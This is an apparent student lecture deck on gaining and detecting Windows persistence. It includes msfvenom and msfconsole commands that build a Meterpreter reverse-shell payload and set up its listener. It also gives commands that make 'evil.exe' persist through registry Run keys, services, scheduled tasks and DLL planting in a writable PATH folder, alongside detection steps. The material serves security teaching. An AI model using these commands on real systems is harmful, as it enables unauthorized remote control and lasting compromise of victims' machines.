Gaining and detecting
Windows Persistence
Prepared by:
Levytskyi Oleg
Student ZI-41
Security Analyst
WARNING
The materials of the lecture are presented only for
EDUCATIONAL PURPOSES.
The speaker is not responsible for the use of this
information for illegal purposes
root@kali:~# msfvenom -a x86 --platform Windows -p
windows/meterpreter/reverse_tcp LHOST=192.168.0.2 LPORT=4444 -f
exe -o evill.exe
root@kali:~# msfconsole
msf > use exploit/multi/handler
msf > set payload windows/meterpreter/reverse_tcp
msf > set LHOST 192.168.0.2 //(your ip)
msf > set LPORT 4444 //(your port)
msf > exploit
Creating payload
Typical Attack. V1
Hm.
smth go
wrong
I want to
reboot
system
Destination host unreachable
run exploit
cmd shell>_
Connection Lost
Attack. V2
Hm.
smth go
wrong
I want to
reboot
system
run exploit
cmd shell>_
HKLMSoftwareMicrosoftWindowsCurrentVersionRun
Connection Lost
System is starting
cmd shell>_
So, what is persistence?
What kind of persistence do
you know?
Is it really a huge problem?
Persistence causes programs to run each time that a
user logs on or system starts. Usually in background.
“Hackers use persistence, not zero days to breach
companies”
Registry autoruns
Run/RunOnce Keys
● HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersion Run
● HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersion RunOnce
● HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersion Run
● HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersion RunOnce
● HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionPolicies
Keys used by WinLogon Process
● HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersion Winlogon
● HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon Shell
Startup Keys
● HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorer User Shell
Folders
● HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorer Shell Folders
● HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorer Shell Folders
● HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorer User
…
Create autorun
cmd> reg add “HKLMSOFTWARE
MicrosoftWindowsCurrentVersionRun”
/f /V "My" /t REG_SZ
/D "C:...evil.exe"
OR
PS> Set-ItemProperty "HKLM:Software
MicrosoftWindowsCurrentVersionRun"
-Name “My” -Value "C:...evil.exe"
… and reboot;)
But sometimes life becomes harder
And when the best one gives up
For the help comes...
Autorun. How to detect?
Link: https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns
This utility, which has the most
comprehensive knowledge of auto-starting
locations of any startup monitor, shows you
what programs are configured to run during
system bootup or login.
Services
Create new service
cmd> sc create My binpath="C:...evil.exe" type=own start=auto
OR
PS> New-Service -Name "My" -BinaryPathName "C:...evil.exe" -DisplayName "My"
-StartupType Automatic
Сhange service path
Registry Path: HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices
Services. How to look at them?
powershell command:
PS> Get-Service
PS> Get-WmiObject
Win32_Service
Services. Real-world situation
Unquoted service path
C:PROGRAM FILESSUB DIRPROGRAM NAME
C:PROGRAM*FILESSUB*DIRPROGRAM*NAME
● c:program.exe filessub dirprogram name
● c:program filessub.exe dirprogram name
● c:program filessub dirprogram.exe name
Unquoted service path. How to detect?
cmd>wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:windows" |findstr /i /v """
Unquoted service path. How to resolve?
Schedule tasks V1 (at). How?
cmd> at 08:00
/EVERY:m,t,w,th,f,s,su
"C:...evil.exe"
(ALWAYS SYSTEM priv)
C:Windowssystem32> at /?
The AT command schedules commands and
programs to run on a computer at
a specified time and date. The
Schedule service must be running to
use
the AT command.
AT [computername] [ [id] [/DELETE] |
/DELETE [/YES]]
AT [computername] time
[/INTERACTIVE]
[ /EVERY:date[,...] |
/NEXT:date[,...]] "command"
Schedule tasks V2
cmd> SchTasks /Create /SC DAILY
/TN “My” /TR "C:...evil.exe" /ST
17:00
Schedule tasks. How to detect?
cmd> schtasks /query /FO CSV
/v > schtasks.csv
DLL hijacking and PATH magic
Dynamic-link library (or DLL) is Microsoft's implementation of the shared library concept in the Microsoft Windows and OS/2 operating
systems.
With both implicit and explicit linking, Windows first searches for "known DLLs", such as Kernel32.dll and User32.dll. Windows then
searches for the DLLs in the following sequence:
1. The directory where the executable module for the current process is located.
2. The current directory.
3. The Windows system directory. The GetSystemDirectory function retrieves the path of this directory.
4. The Windows directory. The GetWindowsDirectory function retrieves the path of this directory.
5. The directories listed in the PATH environment variable.
...Do you know your PATH?
DLL hijacking and PATH magic
PS C:UsersleoDesktop> echo $env:PATH
C:Windowssystem32;C:Windows;C:WindowsSystem32Wbem;C:WindowsSystem32
WindowsPowerShellv1.0;C:Program FilesOpenVPNbin; C:Python27
PS C:UsersleoDesktop> (Get-ACL C:Python27).Access
NT AUTHORITYAuthenticated Users FullAccess
PS C:UsersleoDesktop> cp wlbsctrl.dll C:Python27
Shortcut hijacking
Check in form
Link: https://goo.gl/forms/HxB915h8NDm83VGj1
Thank you for listening!

More Related Content

PPTX
Hunting for APT in network logs workshop presentation
PDF
DEF CON 27 - MAKSIM SHUDRAK - zero bugs found hold my beer afl how to improve...
PPTX
Hiding in plain sight
PDF
Unix executable buffer overflow
PDF
Docker Plugin For DevSecOps
PDF
Awesome_fuzzing_for _pentester_red-pill_2017
PDF
Possibility of arbitrary code execution by Step-Oriented Programming
Hunting for APT in network logs workshop presentation
DEF CON 27 - MAKSIM SHUDRAK - zero bugs found hold my beer afl how to improve...
Hiding in plain sight
Unix executable buffer overflow
Docker Plugin For DevSecOps
Awesome_fuzzing_for _pentester_red-pill_2017
Possibility of arbitrary code execution by Step-Oriented Programming

What's hot (20)

PDF
Information Theft: Wireless Router Shareport for Phun and profit - Hero Suhar...
PDF
PDF
PPTX
Indicators of compromise: From malware analysis to eradication
PDF
The Art of Grey-Box Attack
PDF
Php logging
PDF
Laura Garcia - Shodan API and Coding Skills [rooted2019]
PDF
Footprinting tools for security auditors
PPTX
The Art of Exploiting Unconventional Use-after-free Bugs in Android Kernel by...
PDF
Richard wartell malware is hard. let's go shopping!!
PPTX
BackTrack 4 R2 - SFISSA Presentation
PDF
A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages! ...
PDF
Hacking Highly Secured Enterprise Environments by Zoltan Balazs
PDF
TRENDnet IP Camera Multiple Vulnerabilities
PDF
Sheila Ayelen Berta - The Art of Persistence: "Mr. Windows… I don’t wanna go ...
PDF
"A rootkits writer’s guide to defense" - Michal Purzynski
PDF
Proactive monitoring with Monit
ODP
Pycon Sec
PDF
"Powershell kung-fu" - Paweł Maziarz
Information Theft: Wireless Router Shareport for Phun and profit - Hero Suhar...
Indicators of compromise: From malware analysis to eradication
The Art of Grey-Box Attack
Php logging
Laura Garcia - Shodan API and Coding Skills [rooted2019]
Footprinting tools for security auditors
The Art of Exploiting Unconventional Use-after-free Bugs in Android Kernel by...
Richard wartell malware is hard. let's go shopping!!
BackTrack 4 R2 - SFISSA Presentation
A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages! ...
Hacking Highly Secured Enterprise Environments by Zoltan Balazs
TRENDnet IP Camera Multiple Vulnerabilities
Sheila Ayelen Berta - The Art of Persistence: "Mr. Windows… I don’t wanna go ...
"A rootkits writer’s guide to defense" - Michal Purzynski
Proactive monitoring with Monit
Pycon Sec
"Powershell kung-fu" - Paweł Maziarz
Ad

Similar to Windows persistence presentation (20)

PDF
74 Methods for Privilege Escalation Part 2
PDF
40 Methods for Privilege Escalation Part 1
PDF
Methods for Privilege Escalation Part One.pdf
PDF
[CB20] Operation I am Tom: How APT actors move laterally in corporate network...
PDF
Penetrating Windows 8 with syringe utility
PDF
Bsides NYC 2018 - Hunting for Lateral Movement
PDF
Metasploit Humla for Beginner
PDF
Derbycon 2017: Hunting Lateral Movement For Fun & Profit
PDF
Privilege Escalation Techniques and methodology.pdf
DOC
Boot prom basics
PPTX
Penetration Testing and Intrusion Detection System
PPTX
Pursue the Attackers – Identify and Investigate Lateral Movement Based on Beh...
PPT
How hackers attack networks
PDF
A journey through the years of UNIX and Linux service management
DOC
Hijack This
PPTX
Windows Command Line Tools
DOCX
Lab-10 Malware Creation and Denial of Service (DoS) In t.docx
PDF
AMS Node Meetup December presentation Phusion Passenger
PPTX
Windows xp compromise and remedies
PPT
Laboratory exercise - Network security - Penetration testing
74 Methods for Privilege Escalation Part 2
40 Methods for Privilege Escalation Part 1
Methods for Privilege Escalation Part One.pdf
[CB20] Operation I am Tom: How APT actors move laterally in corporate network...
Penetrating Windows 8 with syringe utility
Bsides NYC 2018 - Hunting for Lateral Movement
Metasploit Humla for Beginner
Derbycon 2017: Hunting Lateral Movement For Fun & Profit
Privilege Escalation Techniques and methodology.pdf
Boot prom basics
Penetration Testing and Intrusion Detection System
Pursue the Attackers – Identify and Investigate Lateral Movement Based on Beh...
How hackers attack networks
A journey through the years of UNIX and Linux service management
Hijack This
Windows Command Line Tools
Lab-10 Malware Creation and Denial of Service (DoS) In t.docx
AMS Node Meetup December presentation Phusion Passenger
Windows xp compromise and remedies
Laboratory exercise - Network security - Penetration testing
Ad

Recently uploaded (20)

DOCX
Ibrahim Suliman Mukhtar CV5AUG2025.docx
PDF
Farming Based Livelihood Systems English Notes
PDF
Compact First Student's Book Cambridge Official
PDF
Literature_Review_methods_ BRACU_MKT426 course material
PPTX
ACFE CERTIFICATION TRAINING ON LAW.pptx
PDF
fundamentals-of-heat-and-mass-transfer-6th-edition_incropera.pdf
PDF
The TKT Course. Modules 1, 2, 3.for self study
PDF
Nurlina - Urban Planner Portfolio (english ver)
PDF
0520_Scheme_of_Work_(for_examination_from_2021).pdf
PDF
faiz-khans about Radiotherapy Physics-02.pdf
PDF
MICROENCAPSULATION_NDDS_BPHARMACY__SEM VII_PCI Syllabus.pdf
PDF
PUBH1000 - Module 6: Global Health Tute Slides
PPTX
2025 High Blood Pressure Guideline Slide Set.pptx
PDF
LIFE & LIVING TRILOGY - PART - (2) THE PURPOSE OF LIFE.pdf
PDF
Journal of Dental Science - UDMY (2021).pdf
PDF
Journal of Dental Science - UDMY (2022).pdf
PPTX
Integrated Management of Neonatal and Childhood Illnesses (IMNCI) – Unit IV |...
PDF
M.Tech in Aerospace Engineering | BIT Mesra
PPTX
CAPACITY BUILDING PROGRAMME IN ADOLESCENT EDUCATION
PDF
Fun with Grammar (Communicative Activities for the Azar Grammar Series)
Ibrahim Suliman Mukhtar CV5AUG2025.docx
Farming Based Livelihood Systems English Notes
Compact First Student's Book Cambridge Official
Literature_Review_methods_ BRACU_MKT426 course material
ACFE CERTIFICATION TRAINING ON LAW.pptx
fundamentals-of-heat-and-mass-transfer-6th-edition_incropera.pdf
The TKT Course. Modules 1, 2, 3.for self study
Nurlina - Urban Planner Portfolio (english ver)
0520_Scheme_of_Work_(for_examination_from_2021).pdf
faiz-khans about Radiotherapy Physics-02.pdf
MICROENCAPSULATION_NDDS_BPHARMACY__SEM VII_PCI Syllabus.pdf
PUBH1000 - Module 6: Global Health Tute Slides
2025 High Blood Pressure Guideline Slide Set.pptx
LIFE & LIVING TRILOGY - PART - (2) THE PURPOSE OF LIFE.pdf
Journal of Dental Science - UDMY (2021).pdf
Journal of Dental Science - UDMY (2022).pdf
Integrated Management of Neonatal and Childhood Illnesses (IMNCI) – Unit IV |...
M.Tech in Aerospace Engineering | BIT Mesra
CAPACITY BUILDING PROGRAMME IN ADOLESCENT EDUCATION
Fun with Grammar (Communicative Activities for the Azar Grammar Series)

Windows persistence presentation

  • 1. Gaining and detecting Windows Persistence Prepared by: Levytskyi Oleg Student ZI-41 Security Analyst
  • 2. WARNING The materials of the lecture are presented only for EDUCATIONAL PURPOSES. The speaker is not responsible for the use of this information for illegal purposes
  • 3. root@kali:~# msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.0.2 LPORT=4444 -f exe -o evill.exe root@kali:~# msfconsole msf > use exploit/multi/handler msf > set payload windows/meterpreter/reverse_tcp msf > set LHOST 192.168.0.2 //(your ip) msf > set LPORT 4444 //(your port) msf > exploit Creating payload
  • 4. Typical Attack. V1 Hm. smth go wrong I want to reboot system Destination host unreachable run exploit cmd shell>_ Connection Lost
  • 5. Attack. V2 Hm. smth go wrong I want to reboot system run exploit cmd shell>_ HKLMSoftwareMicrosoftWindowsCurrentVersionRun Connection Lost System is starting cmd shell>_
  • 6. So, what is persistence? What kind of persistence do you know? Is it really a huge problem?
  • 7. Persistence causes programs to run each time that a user logs on or system starts. Usually in background. “Hackers use persistence, not zero days to breach companies”
  • 8. Registry autoruns Run/RunOnce Keys ● HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersion Run ● HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersion RunOnce ● HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersion Run ● HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersion RunOnce ● HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionPolicies Keys used by WinLogon Process ● HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersion Winlogon ● HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon Shell Startup Keys ● HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorer User Shell Folders ● HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorer Shell Folders ● HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorer Shell Folders ● HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorer User …
  • 9. Create autorun cmd> reg add “HKLMSOFTWARE MicrosoftWindowsCurrentVersionRun” /f /V "My" /t REG_SZ /D "C:...evil.exe" OR PS> Set-ItemProperty "HKLM:Software MicrosoftWindowsCurrentVersionRun" -Name “My” -Value "C:...evil.exe" … and reboot;)
  • 10. But sometimes life becomes harder
  • 11. And when the best one gives up
  • 12. For the help comes...
  • 13. Autorun. How to detect? Link: https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns This utility, which has the most comprehensive knowledge of auto-starting locations of any startup monitor, shows you what programs are configured to run during system bootup or login.
  • 15. Create new service cmd> sc create My binpath="C:...evil.exe" type=own start=auto OR PS> New-Service -Name "My" -BinaryPathName "C:...evil.exe" -DisplayName "My" -StartupType Automatic
  • 16. Сhange service path Registry Path: HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices
  • 17. Services. How to look at them? powershell command: PS> Get-Service PS> Get-WmiObject Win32_Service
  • 19. Unquoted service path C:PROGRAM FILESSUB DIRPROGRAM NAME C:PROGRAM*FILESSUB*DIRPROGRAM*NAME ● c:program.exe filessub dirprogram name ● c:program filessub.exe dirprogram name ● c:program filessub dirprogram.exe name
  • 20. Unquoted service path. How to detect? cmd>wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:windows" |findstr /i /v """
  • 21. Unquoted service path. How to resolve?
  • 22. Schedule tasks V1 (at). How? cmd> at 08:00 /EVERY:m,t,w,th,f,s,su "C:...evil.exe" (ALWAYS SYSTEM priv) C:Windowssystem32> at /? The AT command schedules commands and programs to run on a computer at a specified time and date. The Schedule service must be running to use the AT command. AT [computername] [ [id] [/DELETE] | /DELETE [/YES]] AT [computername] time [/INTERACTIVE] [ /EVERY:date[,...] | /NEXT:date[,...]] "command"
  • 23. Schedule tasks V2 cmd> SchTasks /Create /SC DAILY /TN “My” /TR "C:...evil.exe" /ST 17:00
  • 24. Schedule tasks. How to detect? cmd> schtasks /query /FO CSV /v > schtasks.csv
  • 25. DLL hijacking and PATH magic Dynamic-link library (or DLL) is Microsoft's implementation of the shared library concept in the Microsoft Windows and OS/2 operating systems. With both implicit and explicit linking, Windows first searches for "known DLLs", such as Kernel32.dll and User32.dll. Windows then searches for the DLLs in the following sequence: 1. The directory where the executable module for the current process is located. 2. The current directory. 3. The Windows system directory. The GetSystemDirectory function retrieves the path of this directory. 4. The Windows directory. The GetWindowsDirectory function retrieves the path of this directory. 5. The directories listed in the PATH environment variable. ...Do you know your PATH?
  • 26. DLL hijacking and PATH magic PS C:UsersleoDesktop> echo $env:PATH C:Windowssystem32;C:Windows;C:WindowsSystem32Wbem;C:WindowsSystem32 WindowsPowerShellv1.0;C:Program FilesOpenVPNbin; C:Python27 PS C:UsersleoDesktop> (Get-ACL C:Python27).Access NT AUTHORITYAuthenticated Users FullAccess PS C:UsersleoDesktop> cp wlbsctrl.dll C:Python27
  • 28. Check in form Link: https://goo.gl/forms/HxB915h8NDm83VGj1
  • 29. Thank you for listening!